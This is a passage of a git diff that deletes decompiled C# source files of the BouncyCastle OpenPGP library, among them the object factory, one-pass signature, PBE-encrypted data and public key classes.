- - public PgpLiteralDataGenerator(bool oldFormat) - { - this.oldFormat = oldFormat; - } - - private void WriteHeader(BcpgOutputStream outStr, char format, byte[] encName, long modificationTime) - { - outStr.Write((byte)format, (byte)encName.Length); - outStr.Write(encName); - long num = modificationTime / 1000; - outStr.Write((byte)(num >> 24), (byte)(num >> 16), (byte)(num >> 8), (byte)num); - } - - public Stream Open(Stream outStr, char format, string name, long length, DateTime modificationTime) - { - if (pkOut != null) - { - throw new InvalidOperationException("generator already in open state"); - } - if (outStr == null) - { - throw new ArgumentNullException("outStr"); - } - long modificationTime2 = DateTimeUtilities.DateTimeToUnixMs(modificationTime); - byte[] array = Strings.ToUtf8ByteArray(name); - pkOut = new BcpgOutputStream(outStr, PacketTag.LiteralData, length + 2 + array.Length + 4, oldFormat); - WriteHeader(pkOut, format, array, modificationTime2); - return new WrappedGeneratorStream(this, pkOut); - } - - public Stream Open(Stream outStr, char format, string name, DateTime modificationTime, byte[] buffer) - { - if (pkOut != null) - { - throw new InvalidOperationException("generator already in open state"); - } - if (outStr == null) - { - throw new ArgumentNullException("outStr"); - } - long modificationTime2 = DateTimeUtilities.DateTimeToUnixMs(modificationTime); - byte[] encName = Strings.ToUtf8ByteArray(name); - pkOut = new BcpgOutputStream(outStr, PacketTag.LiteralData, buffer); - WriteHeader(pkOut, format, encName, modificationTime2); - return new WrappedGeneratorStream(this, pkOut); - } - - public Stream Open(Stream outStr, char format, FileInfo file) - { - return Open(outStr, format, file.Name, file.Length, file.LastWriteTime); - } - - public void Close() - { - if (pkOut != null) - { - pkOut.Finish(); - pkOut.Flush(); - pkOut = null; - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpMarker.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpMarker.cs deleted file mode 100644 index be89ab2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpMarker.cs +++ /dev/null @@ -1,11 +0,0 @@ -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public class PgpMarker : PgpObject -{ - private readonly MarkerPacket p; - - public PgpMarker(BcpgInputStream bcpgIn) - { - p = (MarkerPacket)bcpgIn.ReadPacket(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpObject.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpObject.cs deleted file mode 100644 index 205168d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpObject.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public abstract class PgpObject -{ - internal PgpObject() - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpObjectFactory.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpObjectFactory.cs deleted file mode 100644 index dd75fb7..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpObjectFactory.cs +++ /dev/null @@ -1,119 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public class PgpObjectFactory -{ - private readonly BcpgInputStream bcpgIn; - - public PgpObjectFactory(Stream inputStream) - { - bcpgIn = BcpgInputStream.Wrap(inputStream); - } - - public PgpObjectFactory(byte[] bytes) - : this(new MemoryStream(bytes, writable: false)) - { - } - - public PgpObject NextPgpObject() - { - PacketTag packetTag = bcpgIn.NextPacketTag(); - if (packetTag == (PacketTag)(-1)) - { - return null; - } - switch (packetTag) - { - case PacketTag.Signature: - { - IList list2 = Platform.CreateArrayList(); - while (bcpgIn.NextPacketTag() == PacketTag.Signature) - { - try - { - list2.Add(new PgpSignature(bcpgIn)); - } - catch (PgpException ex3) - { - throw new IOException("can't create signature object: " + ex3); - } - } - PgpSignature[] array2 = new PgpSignature[list2.Count]; - for (int j = 0; j < list2.Count; j++) - { - array2[j] = (PgpSignature)list2[j]; - } - return new PgpSignatureList(array2); - } - case PacketTag.SecretKey: - try - { - return new PgpSecretKeyRing(bcpgIn); - } - catch (PgpException ex2) - { - throw new IOException("can't create secret key object: " + ex2); - } - case PacketTag.PublicKey: - return new PgpPublicKeyRing(bcpgIn); - case PacketTag.CompressedData: - return new PgpCompressedData(bcpgIn); - case PacketTag.LiteralData: - return new PgpLiteralData(bcpgIn); - case PacketTag.PublicKeyEncryptedSession: - case PacketTag.SymmetricKeyEncryptedSessionKey: - return new PgpEncryptedDataList(bcpgIn); - case PacketTag.OnePassSignature: - { - IList list = Platform.CreateArrayList(); - while (bcpgIn.NextPacketTag() == PacketTag.OnePassSignature) - { - try - { - list.Add(new PgpOnePassSignature(bcpgIn)); - } - catch (PgpException ex) - { - throw new IOException("can't create one pass signature object: " + ex); - } - } - PgpOnePassSignature[] array = new PgpOnePassSignature[list.Count]; - for (int i = 0; i < list.Count; i++) - { - array[i] = (PgpOnePassSignature)list[i]; - } - return new PgpOnePassSignatureList(array); - } - case PacketTag.Marker: - return new PgpMarker(bcpgIn); - case PacketTag.Experimental1: - case PacketTag.Experimental2: - case PacketTag.Experimental3: - case PacketTag.Experimental4: - return new PgpExperimental(bcpgIn); - default: - throw new IOException("unknown object in stream " + bcpgIn.NextPacketTag()); - } - } - - [Obsolete("Use NextPgpObject() instead")] - public object NextObject() - { - return NextPgpObject(); - } - - public IList AllPgpObjects() - { - IList list = Platform.CreateArrayList(); - PgpObject value; - while ((value = NextPgpObject()) != null) - { - list.Add(value); - } - return list; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpOnePassSignature.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpOnePassSignature.cs deleted file mode 100644 index de86323..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpOnePassSignature.cs +++ /dev/null @@ -1,145 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public class PgpOnePassSignature -{ - private OnePassSignaturePacket sigPack; - - private int signatureType; - - private ISigner sig; - - private byte lastb; - - public long KeyId => sigPack.KeyId; - - public int SignatureType => sigPack.SignatureType; - - public HashAlgorithmTag HashAlgorithm => sigPack.HashAlgorithm; - - public PublicKeyAlgorithmTag KeyAlgorithm => sigPack.KeyAlgorithm; - - internal PgpOnePassSignature(BcpgInputStream bcpgInput) - : this((OnePassSignaturePacket)bcpgInput.ReadPacket()) - { - } - - internal PgpOnePassSignature(OnePassSignaturePacket sigPack) - { - this.sigPack = sigPack; - signatureType = sigPack.SignatureType; - } - - public void InitVerify(PgpPublicKey pubKey) - { - lastb = 0; - try - { - sig = SignerUtilities.GetSigner(PgpUtilities.GetSignatureName(sigPack.KeyAlgorithm, sigPack.HashAlgorithm)); - } - catch (Exception exception) - { - throw new PgpException("can't set up signature object.", exception); - } - try - { - sig.Init(forSigning: false, pubKey.GetKey()); - } - catch (InvalidKeyException exception2) - { - throw new PgpException("invalid key.", exception2); - } - } - - public void Update(byte b) - { - if (signatureType == 1) - { - doCanonicalUpdateByte(b); - } - else - { - sig.Update(b); - } - } - - private void doCanonicalUpdateByte(byte b) - { - switch (b) - { - case 13: - doUpdateCRLF(); - break; - case 10: - if (lastb != 13) - { - doUpdateCRLF(); - } - break; - default: - sig.Update(b); - break; - } - lastb = b; - } - - private void doUpdateCRLF() - { - sig.Update(13); - sig.Update(10); - } - - public void Update(byte[] bytes) - { - if (signatureType == 1) - { - for (int i = 0; i != bytes.Length; i++) - { - doCanonicalUpdateByte(bytes[i]); - } - } - else - { - sig.BlockUpdate(bytes, 0, bytes.Length); - } - } - - public void Update(byte[] bytes, int off, int length) - { - if (signatureType == 1) - { - int num = off + length; - for (int i = off; i != num; i++) - { - doCanonicalUpdateByte(bytes[i]); - } - } - else - { - sig.BlockUpdate(bytes, off, length); - } - } - - public bool Verify(PgpSignature pgpSig) - { - byte[] signatureTrailer = pgpSig.GetSignatureTrailer(); - sig.BlockUpdate(signatureTrailer, 0, signatureTrailer.Length); - return sig.VerifySignature(pgpSig.GetSignature()); - } - - public byte[] GetEncoded() - { - MemoryStream memoryStream = new MemoryStream(); - Encode(memoryStream); - return memoryStream.ToArray(); - } - - public void Encode(Stream outStr) - { - BcpgOutputStream.Wrap(outStr).WritePacket(sigPack); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpOnePassSignatureList.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpOnePassSignatureList.cs deleted file mode 100644 index 4575ee3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpOnePassSignatureList.cs +++ /dev/null @@ -1,33 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public class PgpOnePassSignatureList : PgpObject -{ - private readonly PgpOnePassSignature[] sigs; - - public PgpOnePassSignature this[int index] => sigs[index]; - - [Obsolete("Use 'Count' property instead")] - public int Size => sigs.Length; - - public int Count => sigs.Length; - - public bool IsEmpty => sigs.Length == 0; - - public PgpOnePassSignatureList(PgpOnePassSignature[] sigs) - { - this.sigs = (PgpOnePassSignature[])sigs.Clone(); - } - - public PgpOnePassSignatureList(PgpOnePassSignature sig) - { - sigs = new PgpOnePassSignature[1] { sig }; - } - - [Obsolete("Use 'object[index]' syntax instead")] - public PgpOnePassSignature Get(int index) - { - return this[index]; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpPad.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpPad.cs deleted file mode 100644 index 9d8fd74..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpPad.cs +++ /dev/null @@ -1,37 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public sealed class PgpPad -{ - private PgpPad() - { - } - - public static byte[] PadSessionData(byte[] sessionInfo) - { - byte[] array = new byte[40]; - Array.Copy(sessionInfo, 0, array, 0, sessionInfo.Length); - byte b = (byte)(array.Length - sessionInfo.Length); - for (int i = sessionInfo.Length; i != array.Length; i++) - { - array[i] = b; - } - return array; - } - - public static byte[] UnpadSessionData(byte[] encoded) - { - byte b = encoded[^1]; - for (int i = encoded.Length - b; i != encoded.Length; i++) - { - if (encoded[i] != b) - { - throw new PgpException("bad padding found in session data"); - } - } - byte[] array = new byte[encoded.Length - b]; - Array.Copy(encoded, 0, array, 0, array.Length); - return array; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpPbeEncryptedData.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpPbeEncryptedData.cs deleted file mode 100644 index c8b6931..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpPbeEncryptedData.cs +++ /dev/null @@ -1,101 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.IO; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public class PgpPbeEncryptedData : PgpEncryptedData -{ - private readonly SymmetricKeyEncSessionPacket keyData; - - internal PgpPbeEncryptedData(SymmetricKeyEncSessionPacket keyData, InputStreamPacket encData) - : base(encData) - { - this.keyData = keyData; - } - - public override Stream GetInputStream() - { - return encData.GetInputStream(); - } - - public Stream GetDataStream(char[] passPhrase) - { - return DoGetDataStream(PgpUtilities.EncodePassPhrase(passPhrase, utf8: false), clearPassPhrase: true); - } - - public Stream GetDataStreamUtf8(char[] passPhrase) - { - return DoGetDataStream(PgpUtilities.EncodePassPhrase(passPhrase, utf8: true), clearPassPhrase: true); - } - - public Stream GetDataStreamRaw(byte[] rawPassPhrase) - { - return DoGetDataStream(rawPassPhrase, clearPassPhrase: false); - } - - internal Stream DoGetDataStream(byte[] rawPassPhrase, bool clearPassPhrase) - { - try - { - SymmetricKeyAlgorithmTag symmetricKeyAlgorithmTag = keyData.EncAlgorithm; - KeyParameter parameters = PgpUtilities.DoMakeKeyFromPassPhrase(symmetricKeyAlgorithmTag, keyData.S2k, rawPassPhrase, clearPassPhrase); - byte[] secKeyData = keyData.GetSecKeyData(); - if (secKeyData != null && secKeyData.Length > 0) - { - IBufferedCipher cipher = CipherUtilities.GetCipher(PgpUtilities.GetSymmetricCipherName(symmetricKeyAlgorithmTag) + "/CFB/NoPadding"); - cipher.Init(forEncryption: false, new ParametersWithIV(parameters, new byte[cipher.GetBlockSize()])); - byte[] array = cipher.DoFinal(secKeyData); - symmetricKeyAlgorithmTag = (SymmetricKeyAlgorithmTag)array[0]; - parameters = ParameterUtilities.CreateKeyParameter(PgpUtilities.GetSymmetricCipherName(symmetricKeyAlgorithmTag), array, 1, array.Length - 1); - } - IBufferedCipher bufferedCipher = CreateStreamCipher(symmetricKeyAlgorithmTag); - byte[] array2 = new byte[bufferedCipher.GetBlockSize()]; - bufferedCipher.Init(forEncryption: false, new ParametersWithIV(parameters, array2)); - encStream = BcpgInputStream.Wrap(new CipherStream(encData.GetInputStream(), bufferedCipher, null)); - if (encData is SymmetricEncIntegrityPacket) - { - truncStream = new TruncatedStream(encStream); - string digestName = PgpUtilities.GetDigestName(HashAlgorithmTag.Sha1); - IDigest digest = DigestUtilities.GetDigest(digestName); - encStream = new DigestStream(truncStream, digest, null); - } - if (Streams.ReadFully(encStream, array2, 0, array2.Length) < array2.Length) - { - throw new EndOfStreamException("unexpected end of stream."); - } - int num = encStream.ReadByte(); - int num2 = encStream.ReadByte(); - if (num < 0 || num2 < 0) - { - throw new EndOfStreamException("unexpected end of stream."); - } - bool flag = array2[^2] == (byte)num && array2[^1] == (byte)num2; - bool flag2 = num == 0 && num2 == 0; - if (!flag && !flag2) - { - throw new PgpDataValidationException("quick check failed."); - } - return encStream; - } - catch (PgpException ex) - { - throw ex; - } - catch (Exception exception) - { - throw new PgpException("Exception creating cipher", exception); - } - } - - private IBufferedCipher CreateStreamCipher(SymmetricKeyAlgorithmTag keyAlgorithm) - { - string text = ((encData is SymmetricEncIntegrityPacket) ? "CFB" : "OpenPGPCFB"); - string algorithm = PgpUtilities.GetSymmetricCipherName(keyAlgorithm) + "/" + text + "/NoPadding"; - return CipherUtilities.GetCipher(algorithm); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpPrivateKey.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpPrivateKey.cs deleted file mode 100644 index 0ba2f6f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpPrivateKey.cs +++ /dev/null @@ -1,30 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto; - -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public class PgpPrivateKey -{ - private readonly long keyID; - - private readonly PublicKeyPacket publicKeyPacket; - - private readonly AsymmetricKeyParameter privateKey; - - public long KeyId => keyID; - - public PublicKeyPacket PublicKeyPacket => publicKeyPacket; - - public AsymmetricKeyParameter Key => privateKey; - - public PgpPrivateKey(long keyID, PublicKeyPacket publicKeyPacket, AsymmetricKeyParameter privateKey) - { - if (!privateKey.IsPrivate) - { - throw new ArgumentException("Expected a private key", "privateKey"); - } - this.keyID = keyID; - this.publicKeyPacket = publicKeyPacket; - this.privateKey = privateKey; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpPublicKey.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpPublicKey.cs deleted file mode 100644 index a58b864..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpPublicKey.cs +++ /dev/null @@ -1,738 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1.X9; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Generators; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Math.EC; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; - -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public class PgpPublicKey -{ - private static readonly int[] MasterKeyCertificationTypes = new int[4] { 19, 18, 17, 16 }; - - private long keyId; - - private byte[] fingerprint; - - private int keyStrength; - - internal PublicKeyPacket publicPk; - - internal TrustPacket trustPk; - - internal IList keySigs = Platform.CreateArrayList(); - - internal IList ids = Platform.CreateArrayList(); - - internal IList idTrusts = Platform.CreateArrayList(); - - internal IList idSigs = Platform.CreateArrayList(); - - internal IList subSigs; - - public int Version => publicPk.Version; - - public DateTime CreationTime => publicPk.GetTime(); - - [Obsolete("Use 'GetValidSeconds' instead")] - public int ValidDays - { - get - { - if (publicPk.Version <= 3) - { - return publicPk.ValidDays; - } - long validSeconds = GetValidSeconds(); - if (validSeconds <= 0) - { - return 0; - } - int val = (int)(validSeconds / 86400); - return System.Math.Max(1, val); - } - } - - public long KeyId => keyId; - - public bool IsEncryptionKey - { - get - { - switch (publicPk.Algorithm) - { - case PublicKeyAlgorithmTag.RsaGeneral: - case PublicKeyAlgorithmTag.RsaEncrypt: - case PublicKeyAlgorithmTag.ElGamalEncrypt: - case PublicKeyAlgorithmTag.EC: - case PublicKeyAlgorithmTag.ElGamalGeneral: - return true; - default: - return false; - } - } - } - - public bool IsMasterKey => subSigs == null; - - public PublicKeyAlgorithmTag Algorithm => publicPk.Algorithm; - - public int BitStrength => keyStrength; - - public PublicKeyPacket PublicKeyPacket => publicPk; - - public static byte[] CalculateFingerprint(PublicKeyPacket publicPk) - { - IBcpgKey key = publicPk.Key; - IDigest digest; - if (publicPk.Version <= 3) - { - RsaPublicBcpgKey rsaPublicBcpgKey = (RsaPublicBcpgKey)key; - try - { - digest = DigestUtilities.GetDigest("MD5"); - UpdateDigest(digest, rsaPublicBcpgKey.Modulus); - UpdateDigest(digest, rsaPublicBcpgKey.PublicExponent); - } - catch (Exception ex) - { - throw new PgpException("can't encode key components: " + ex.Message, ex); - } - } - else - { - try - { - byte[] encodedContents = publicPk.GetEncodedContents(); - digest = DigestUtilities.GetDigest("SHA1"); - digest.Update(153); - digest.Update((byte)(encodedContents.Length >> 8)); - digest.Update((byte)encodedContents.Length); - digest.BlockUpdate(encodedContents, 0, encodedContents.Length); - } - catch (Exception ex2) - { - throw new PgpException("can't encode key components: " + ex2.Message, ex2); - } - } - return DigestUtilities.DoFinal(digest); - } - - private static void UpdateDigest(IDigest d, BigInteger b) - { - byte[] array = b.ToByteArrayUnsigned(); - d.BlockUpdate(array, 0, array.Length); - } - - private void Init() - { - IBcpgKey key = publicPk.Key; - fingerprint = CalculateFingerprint(publicPk); - if (publicPk.Version <= 3) - { - RsaPublicBcpgKey rsaPublicBcpgKey = (RsaPublicBcpgKey)key; - keyId = rsaPublicBcpgKey.Modulus.LongValue; - keyStrength = rsaPublicBcpgKey.Modulus.BitLength; - return; - } - keyId = (long)(((ulong)fingerprint[fingerprint.Length - 8] << 56) | ((ulong)fingerprint[fingerprint.Length - 7] << 48) | ((ulong)fingerprint[fingerprint.Length - 6] << 40) | ((ulong)fingerprint[fingerprint.Length - 5] << 32) | ((ulong)fingerprint[fingerprint.Length - 4] << 24) | ((ulong)fingerprint[fingerprint.Length - 3] << 16) | ((ulong)fingerprint[fingerprint.Length - 2] << 8) | fingerprint[fingerprint.Length - 1]); - if (key is RsaPublicBcpgKey) - { - keyStrength = ((RsaPublicBcpgKey)key).Modulus.BitLength; - } - else if (key is DsaPublicBcpgKey) - { - keyStrength = ((DsaPublicBcpgKey)key).P.BitLength; - } - else if (key is ElGamalPublicBcpgKey) - { - keyStrength = ((ElGamalPublicBcpgKey)key).P.BitLength; - } - else if (key is ECPublicBcpgKey) - { - keyStrength = ECKeyPairGenerator.FindECCurveByOid(((ECPublicBcpgKey)key).CurveOid).Curve.FieldSize; - } - } - - public PgpPublicKey(PublicKeyAlgorithmTag algorithm, AsymmetricKeyParameter pubKey, DateTime time) - { - if (pubKey.IsPrivate) - { - throw new ArgumentException("Expected a public key", "pubKey"); - } - IBcpgKey key; - if (pubKey is RsaKeyParameters) - { - RsaKeyParameters rsaKeyParameters = (RsaKeyParameters)pubKey; - key = new RsaPublicBcpgKey(rsaKeyParameters.Modulus, rsaKeyParameters.Exponent); - } - else if (pubKey is DsaPublicKeyParameters) - { - DsaPublicKeyParameters dsaPublicKeyParameters = (DsaPublicKeyParameters)pubKey; - DsaParameters parameters = dsaPublicKeyParameters.Parameters; - key = new DsaPublicBcpgKey(parameters.P, parameters.Q, parameters.G, dsaPublicKeyParameters.Y); - } - else if (pubKey is ECPublicKeyParameters) - { - ECPublicKeyParameters eCPublicKeyParameters = (ECPublicKeyParameters)pubKey; - key = algorithm switch - { - PublicKeyAlgorithmTag.EC => new ECDHPublicBcpgKey(eCPublicKeyParameters.PublicKeyParamSet, eCPublicKeyParameters.Q, HashAlgorithmTag.Sha256, SymmetricKeyAlgorithmTag.Aes128), - PublicKeyAlgorithmTag.ECDsa => new ECDsaPublicBcpgKey(eCPublicKeyParameters.PublicKeyParamSet, eCPublicKeyParameters.Q), - _ => throw new PgpException("unknown EC algorithm"), - }; - } - else - { - if (!(pubKey is ElGamalPublicKeyParameters)) - { - throw new PgpException("unknown key class"); - } - ElGamalPublicKeyParameters elGamalPublicKeyParameters = (ElGamalPublicKeyParameters)pubKey; - ElGamalParameters parameters2 = elGamalPublicKeyParameters.Parameters; - key = new ElGamalPublicBcpgKey(parameters2.P, parameters2.G, elGamalPublicKeyParameters.Y); - } - publicPk = new PublicKeyPacket(algorithm, time, key); - ids = Platform.CreateArrayList(); - idSigs = Platform.CreateArrayList(); - try - { - Init(); - } - catch (IOException exception) - { - throw new PgpException("exception calculating keyId", exception); - } - } - - public PgpPublicKey(PublicKeyPacket publicPk) - : this(publicPk, Platform.CreateArrayList(), Platform.CreateArrayList()) - { - } - - internal PgpPublicKey(PublicKeyPacket publicPk, TrustPacket trustPk, IList sigs) - { - this.publicPk = publicPk; - this.trustPk = trustPk; - subSigs = sigs; - Init(); - } - - internal PgpPublicKey(PgpPublicKey key, TrustPacket trust, IList subSigs) - { - publicPk = key.publicPk; - trustPk = trust; - this.subSigs = subSigs; - fingerprint = key.fingerprint; - keyId = key.keyId; - keyStrength = key.keyStrength; - } - - internal PgpPublicKey(PgpPublicKey pubKey) - { - publicPk = pubKey.publicPk; - keySigs = Platform.CreateArrayList(pubKey.keySigs); - ids = Platform.CreateArrayList(pubKey.ids); - idTrusts = Platform.CreateArrayList(pubKey.idTrusts); - idSigs = Platform.CreateArrayList(pubKey.idSigs.Count); - for (int i = 0; i != pubKey.idSigs.Count; i++) - { - idSigs.Add(Platform.CreateArrayList((IList)pubKey.idSigs[i])); - } - if (pubKey.subSigs != null) - { - subSigs = Platform.CreateArrayList(pubKey.subSigs.Count); - for (int j = 0; j != pubKey.subSigs.Count; j++) - { - subSigs.Add(pubKey.subSigs[j]); - } - } - fingerprint = pubKey.fingerprint; - keyId = pubKey.keyId; - keyStrength = pubKey.keyStrength; - } - - internal PgpPublicKey(PublicKeyPacket publicPk, TrustPacket trustPk, IList keySigs, IList ids, IList idTrusts, IList idSigs) - { - this.publicPk = publicPk; - this.trustPk = trustPk; - this.keySigs = keySigs; - this.ids = ids; - this.idTrusts = idTrusts; - this.idSigs = idSigs; - Init(); - } - - internal PgpPublicKey(PublicKeyPacket publicPk, IList ids, IList idSigs) - { - this.publicPk = publicPk; - this.ids = ids; - this.idSigs = idSigs; - Init(); - } - - public byte[] GetTrustData() - { - if (trustPk == null) - { - return null; - } - return Arrays.Clone(trustPk.GetLevelAndTrustAmount()); - } - - public long GetValidSeconds() - { - if (publicPk.Version <= 3) - { - return (long)publicPk.ValidDays * 86400L; - } - if (IsMasterKey) - { - for (int i = 0; i != MasterKeyCertificationTypes.Length; i++) - { - long expirationTimeFromSig = GetExpirationTimeFromSig(selfSigned: true, MasterKeyCertificationTypes[i]); - if (expirationTimeFromSig >= 0) - { - return expirationTimeFromSig; - } - } - } - else - { - long expirationTimeFromSig2 = GetExpirationTimeFromSig(selfSigned: false, 24); - if (expirationTimeFromSig2 >= 0) - { - return expirationTimeFromSig2; - } - } - return 0L; - } - - private long GetExpirationTimeFromSig(bool selfSigned, int signatureType) - { - long num = -1L; - long num2 = -1L; - foreach (PgpSignature item in GetSignaturesOfType(signatureType)) - { - if (selfSigned && item.KeyId != KeyId) - { - continue; - } - PgpSignatureSubpacketVector hashedSubPackets = item.GetHashedSubPackets(); - if (hashedSubPackets == null) - { - continue; - } - long keyExpirationTime = hashedSubPackets.GetKeyExpirationTime(); - if (item.KeyId == KeyId) - { - if (item.CreationTime.Ticks > num2) - { - num2 = item.CreationTime.Ticks; - num = keyExpirationTime; - } - } - else if (keyExpirationTime == 0 || keyExpirationTime > num) - { - num = keyExpirationTime; - } - } - return num; - } - - public byte[] GetFingerprint() - { - return (byte[])fingerprint.Clone(); - } - - public AsymmetricKeyParameter GetKey() - { - try - { - switch (publicPk.Algorithm) - { - case PublicKeyAlgorithmTag.RsaGeneral: - case PublicKeyAlgorithmTag.RsaEncrypt: - case PublicKeyAlgorithmTag.RsaSign: - { - RsaPublicBcpgKey rsaPublicBcpgKey = (RsaPublicBcpgKey)publicPk.Key; - return new RsaKeyParameters(isPrivate: false, rsaPublicBcpgKey.Modulus, rsaPublicBcpgKey.PublicExponent); - } - case PublicKeyAlgorithmTag.Dsa: - { - DsaPublicBcpgKey dsaPublicBcpgKey = (DsaPublicBcpgKey)publicPk.Key; - return new DsaPublicKeyParameters(dsaPublicBcpgKey.Y, new DsaParameters(dsaPublicBcpgKey.P, dsaPublicBcpgKey.Q, dsaPublicBcpgKey.G)); - } - case PublicKeyAlgorithmTag.ECDsa: - return GetECKey("ECDSA"); - case PublicKeyAlgorithmTag.EC: - return GetECKey("ECDH"); - case PublicKeyAlgorithmTag.ElGamalEncrypt: - case PublicKeyAlgorithmTag.ElGamalGeneral: - { - ElGamalPublicBcpgKey elGamalPublicBcpgKey = (ElGamalPublicBcpgKey)publicPk.Key; - return new ElGamalPublicKeyParameters(elGamalPublicBcpgKey.Y, new ElGamalParameters(elGamalPublicBcpgKey.P, elGamalPublicBcpgKey.G)); - } - default: - throw new PgpException("unknown public key algorithm encountered"); - } - } - catch (PgpException ex) - { - throw ex; - } - catch (Exception exception) - { - throw new PgpException("exception constructing public key", exception); - } - } - - private ECPublicKeyParameters GetECKey(string algorithm) - { - ECPublicBcpgKey eCPublicBcpgKey = (ECPublicBcpgKey)publicPk.Key; - X9ECParameters x9ECParameters = ECKeyPairGenerator.FindECCurveByOid(eCPublicBcpgKey.CurveOid); - ECPoint q = x9ECParameters.Curve.DecodePoint(BigIntegers.AsUnsignedByteArray(eCPublicBcpgKey.EncodedPoint)); - return new ECPublicKeyParameters(algorithm, q, eCPublicBcpgKey.CurveOid); - } - - public IEnumerable GetUserIds() - { - IList list = Platform.CreateArrayList(); - foreach (object id in ids) - { - if (id is string) - { - list.Add(id); - } - } - return new EnumerableProxy(list); - } - - public IEnumerable GetUserAttributes() - { - IList list = Platform.CreateArrayList(); - foreach (object id in ids) - { - if (id is PgpUserAttributeSubpacketVector) - { - list.Add(id); - } - } - return new EnumerableProxy(list); - } - - public IEnumerable GetSignaturesForId(string id) - { - if (id == null) - { - throw new ArgumentNullException("id"); - } - for (int i = 0; i != ids.Count; i++) - { - if (id.Equals(ids[i])) - { - return new EnumerableProxy((IList)idSigs[i]); - } - } - return null; - } - - public IEnumerable GetSignaturesForUserAttribute(PgpUserAttributeSubpacketVector userAttributes) - { - for (int i = 0; i != ids.Count; i++) - { - if (userAttributes.Equals(ids[i])) - { - return new EnumerableProxy((IList)idSigs[i]); - } - } - return null; - } - - public IEnumerable GetSignaturesOfType(int signatureType) - { - IList list = Platform.CreateArrayList(); - foreach (PgpSignature signature in GetSignatures()) - { - if (signature.SignatureType == signatureType) - { - list.Add(signature); - } - } - return new EnumerableProxy(list); - } - - public IEnumerable GetSignatures() - { - IList list = subSigs; - if (list == null) - { - list = Platform.CreateArrayList(keySigs); - foreach (ICollection idSig in idSigs) - { - CollectionUtilities.AddRange(list, idSig); - } - } - return new EnumerableProxy(list); - } - - public IEnumerable GetKeySignatures() - { - IList list = subSigs; - if (list == null) - { - list = Platform.CreateArrayList(keySigs); - } - return new EnumerableProxy(list); - } - - public byte[] GetEncoded() - { - MemoryStream memoryStream = new MemoryStream(); - Encode(memoryStream); - return memoryStream.ToArray(); - } - - public void Encode(Stream outStr) - { - BcpgOutputStream bcpgOutputStream = BcpgOutputStream.Wrap(outStr); - bcpgOutputStream.WritePacket(publicPk); - if (trustPk != null) - { - bcpgOutputStream.WritePacket(trustPk); - } - if (subSigs == null) - { - foreach (PgpSignature keySig in keySigs) - { - keySig.Encode(bcpgOutputStream); - } - 